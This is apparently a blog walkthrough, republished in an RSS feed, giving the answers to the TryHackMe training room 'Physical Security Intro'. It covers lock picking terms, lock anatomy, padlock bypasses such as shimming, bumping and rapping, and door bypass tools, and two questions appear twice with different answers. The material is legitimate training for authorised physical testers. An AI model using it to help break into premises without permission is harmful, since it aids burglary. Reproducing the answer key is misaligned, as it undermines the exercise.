            <category><![CDATA[physical-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Shamsher khan]]></dc:creator>
            <pubDate>Wed, 19 May 2021 06:44:20 GMT</pubDate>
            <atom:updated>2021-05-19T06:44:20.437Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Shamsher khna This is a Writeup of Tryhackme room “Physical Security Intro”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*7E-RgqSG8g-MBnBRTBkvlQ.png" /><figcaption><a href="https://tryhackme.com/room/physicalsecurityintro">https://tryhackme.com/room/physicalsecurityintro</a></figcaption></figure><p><strong>Room link</strong>: <a href="https://tryhackme.com/room/physicalsecurityintro">https://tryhackme.com/room/physicalsecurityintro</a></p><h4>Task 1. Introduction</h4><p><strong>Learn the basics of physical security</strong></p><p>A lot of times physical security is overlooked during red team engagements. Sure, it’s not as popular as cyber security, however having some basic knowledge of lock picking and bypasses are an important tool to have in your repertoire.</p><p>Below are some great videos that are a perfect introduction to physical security. If you have a basic knowledge of physical security already, you might be able to breeze through the room, however if you don’t, these videos will be one of the best introductions you could get.</p><p><strong>I’ll Let Myself In: Tactics of Physical Pen Testers — Deviant Ollam</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FrnmcRTnTNC8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DrnmcRTnTNC8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FrnmcRTnTNC8%2Fhqdefault.jpg&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd998be5fac5bd6a4e12a987fefbabec/href">https://medium.com/media/cd998be5fac5bd6a4e12a987fefbabec/href</a></iframe><p>Video used with permission of Deviant Ollam</p><p><strong>The Right Way To Do Wrong — Patrick McNeil</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fsw94smSiJBY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dsw94smSiJBY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fsw94smSiJBY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/eebd1af67c645339249e7001c944939f/href">https://medium.com/media/eebd1af67c645339249e7001c944939f/href</a></iframe><p>Video used with permission of Patrick McNeil</p><h4>Task 2. Overt, Covert, and Surreptitious Entry</h4><p><strong>Learn the different methods of entry</strong></p><p>Overt entry is when the method of entry causes damage or destruction. This could be damage or destruction to locks, doors, windows, walls or other objects.</p><p>Covert entry is usually undetectable to un-trained people. However, during a forensic investigation by trained professionals, the method of entry would be discovered.</p><p>Surreptitious entry is when the method of entry is undetectable to both un-trained and trained people. This method would most likely go unnoticed even during a forensic investigation.</p><p><strong>For the questions below, we will use a multiple choice format. When answering, use the number next to the answer as your submitted answer.</strong></p><ol><li><strong>Overt</strong></li><li><strong>Covert</strong></li><li><strong>Surreptitious</strong></li></ol><p><strong>Question 1</strong>. Using an angle grinder to cut a lock open is what type of entry?</p><blockquote><strong>Answer: 1</strong></blockquote><p><strong>Question 2. </strong>Lock picking could be considered what type of entry?</p><blockquote><strong>Answer: 2</strong></blockquote><p><strong>Question 3. </strong>Lock bypassing can be considered what type of entry?</p><blockquote><strong>Answer: 2</strong></blockquote><p><strong>Question 4. </strong>Taking a photo of a key, decoding it and duplicating it can be considered what type of entry?</p><blockquote><strong>Answer: 3</strong></blockquote><p><strong>Question 5. </strong>Determining the combination of a safe through surveillance can be considered what type of entry?</p><blockquote><strong>Answer: 3</strong></blockquote><p><strong>Question 6. </strong>Breaking a window to gain entry can be considered what type of entry?</p><blockquote><strong>Answer: 1</strong></blockquote><h4>Task 3. Lock Picking</h4><p><strong>Show that you have the basic knowledge of lock picking</strong></p><p>Answer the questions below. If you are struggling with the questions, go back to the videos in the introduction. If you are still struggling, a quick Google search will help you answer the questions.</p><p><strong>Question 1. </strong>What is the name of the tool which is used to apply torque to the core of a lock when picking?</p><blockquote><strong>Answer: Tension Wrench</strong></blockquote><p><strong>Question 2. </strong>What is the term used for picking a single pin at a time?</p><blockquote><strong>Answer: Single Pin Picking</strong></blockquote><p><strong>Question 3. </strong>What is the abbreviation commonly used to reference the above answer?</p><blockquote><strong>Answer: SPP</strong></blockquote><p><strong>Question 4. </strong>What is the term used when you try to randomly set pins?</p><blockquote><strong>Answer: Raking</strong></blockquote><p><strong>Question 5. </strong>This type of lock is typically cheap, low quality, and found on low security applications such as office desk cabinets.</p><blockquote><strong>Answer: Wafer Lock</strong></blockquote><p><strong>Question 6. </strong>This type of pick profile is usually used when single pin picking.</p><blockquote><strong>Answer: Hook</strong></blockquote><p><strong>Question 7. </strong>When single pin picking, this term refers to when you feel like you have set a pin and the core rotates slightly</p><blockquote><strong>Answer: False Set</strong></blockquote><p><strong>Question 8. </strong>This type of security driver pin gives several clicks as it is being picked.</p><blockquote><strong>Answer: Serrated</strong></blockquote><h4>Task 4. Lock Anatomy</h4><p><strong>Show that you have a basic understanding of a locks anatomy</strong></p><p>There are many different types of locks, but below we will cover some of the more common locks such as pin tumbler locks. Some questions below work for more than just pin tumblers, but they usually cover a part of the lock that doesn’t have to do with the keyway.</p><p><strong>Question 1</strong>. What is the interface between the two pins in a pin stack referred to as?</p><blockquote><strong>Answer: Shear Line</strong></blockquote><p><strong>Question 2. </strong>What are the pins on the bottom half of a pin stack referred to as? (you don’t have to enter the word pin in the answer)</p><blockquote><strong>Answer: Key</strong></blockquote><p><strong>Question 3. </strong>What are the pins on the top half of a pin stack referred to as? (you don’t have to enter the word pin in the answer)</p><blockquote><strong>Answer: Driver</strong></blockquote><p><strong>Question 4. </strong>What non-shimmable elements do padlocks use to keep the shackle in place?</p><blockquote><strong>Answer: Ball Bearings</strong></blockquote><p><strong>Question 5. </strong>What is the piece that allows locking lugs to retract when the core is turned?</p><blockquote><strong>Answer: Actuator</strong></blockquote><p><strong>Question 6. </strong>What piece of a standard door latch should remain completely depressed when the door is closed to prevent loiding/slipping of the latch?</p><blockquote><strong>Answer: Dead latch</strong></blockquote><p><strong>Question 7. </strong>What is the locking mechanism that has a bolt which protrudes into the frame of the door preventing it from opening?</p><blockquote><strong>Answer: Deadbolt</strong></blockquote><h4>Task 5. Padlock Bypassing</h4><p><strong>Show that you have a basic knowledge of bypassing padlocks</strong></p><p>Padlocks are a common security feature in many places. Have a basic knowledge of padlock bypassing can get you into server cages, lockers and more.</p><p><strong>Question 1</strong>. A lock which is unshielded is susceptible to what bypass tool?</p><blockquote><strong>Answer: Knife</strong></blockquote><p><strong>Question 2. </strong>A lock which has spring loaded locking lugs rather than ball bearings can be bypassed with what tool?</p><blockquote><strong>Answer: Shim</strong></blockquote><p><strong>Question 3. </strong>Combination locks such as the Masterlock 5400D are susceptible to a bypass which reveals the combination What is this method known as?</p><blockquote><strong>Answer: Decoding</strong></blockquote><p><strong>Question 4. </strong>The Masterlock 175 is infamous for its ability to be bypassed using what type of bypass?</p><blockquote><strong>Answer: Mini Knife</strong></blockquote><p><strong>Question 5. </strong>What bypass method uses a key cut to the lowest depths and kinetic energy to bounce the driver pins above the shear line and allow a lock to be opened?</p><blockquote><strong>Answer: Bumping</strong></blockquote><p><strong>Question 6. </strong>Locks which have spring loaded locking lugs can be opened by tapping a hammer on the side of the lock. What is this attack method called?</p><blockquote><strong>Answer: Rapping</strong></blockquote><p><strong>Question 7. </strong>What type of pick takes advantage of lazy manufacturing practices by lifting all the key pins and driver pins above the shear line to bypass a lock?</p><blockquote><strong>Answer: Comb</strong></blockquote><p><strong>Question 8</strong>. What tools can be wiggled inside the keyway of wafer locks to roughly simulate the biting of the key and open the lock?</p><blockquote><strong>Answer: Jiggler</strong></blockquote><h4>Task 6. Hardware Bypassing</h4><p><strong>Show your know some basic hardware bypasses</strong></p><p>Physical security isn’t all about lock picking. Sometimes there are easier and more creative ways to get a door open.</p><p><strong>Question 1</strong>. What tool is used to reach under a door and actuate a handle from the interior?</p><blockquote><strong>Answer: Under The Door Tool</strong></blockquote><p><strong>Question 2. </strong>What tool can be used to bypass a set of double doors which have a crash bar on the secure side?</p><blockquote><strong>Answer: Double Door Tool</strong></blockquote><p><strong>Question 3. </strong>What item can be used to widen the gaps between doors and door frames or between double doors to allow for other bypass tools to be used? This tool is also common for automobile entry.</p><blockquote><strong>Answer: Air Wedge</strong></blockquote><p><strong>Question 4. </strong>An improperly hung door which opens away from you can be bypassed using this type of tool?</p><blockquote><strong>Answer: Shim</strong></blockquote><p><strong>Question 5. </strong>An improperly hung door which opens away from you can be bypassed using this type of tool?</p><blockquote><strong>Answer: traveler hook</strong></blockquote><p><strong>Question 6. </strong>What type of material can be used to go over the door to grab the secure side handles when an under the door tool is not able to be used?</p><blockquote><strong>Answer: Film</strong></blockquote><p><strong>Question 7. </strong>Canned air can be used to bypass what type of door controller hardware?</p><blockquote><strong>Answer: REX sensor</strong></blockquote><p><strong>Question 8. </strong>Adams Rite hardware fixtures are susceptible to a bypass where a wire is snaked through the keyway and actuates the locking mechanism behind it, what could prevent this bypass?</p><blockquote><strong>Answer: shielding</strong></blockquote><p>You can find me on:<br><strong>LinkedIn:-</strong> <a href="https://www.linkedin.com/in/shamsher-khan-651a35162/">https://www.linkedin.com/in/shamsher-khan-651a35162/</a> <br><strong>Twitter:-</strong> <a href="https://twitter.com/shamsherkhannn">https://twitter.com/shamsherkhannn</a><br><strong>Tryhackme:-</strong> <a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*AXsAydquB-spT5Z44h0TEQ.png" /><figcaption><a href="https://tryhackme.com/p/Shamsher">https://tryhackme.com/p/Shamsher</a></figcaption></figure><p>and thank you for taking the time to read my walkthrough. <br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br> it to help others with similar interests! + Feedback is always welcome!</p><p>For more walkthroughs stay tuned…<br>Before you go…</p><p>Visit my other walkthrough’s:-</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d59de9e56d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>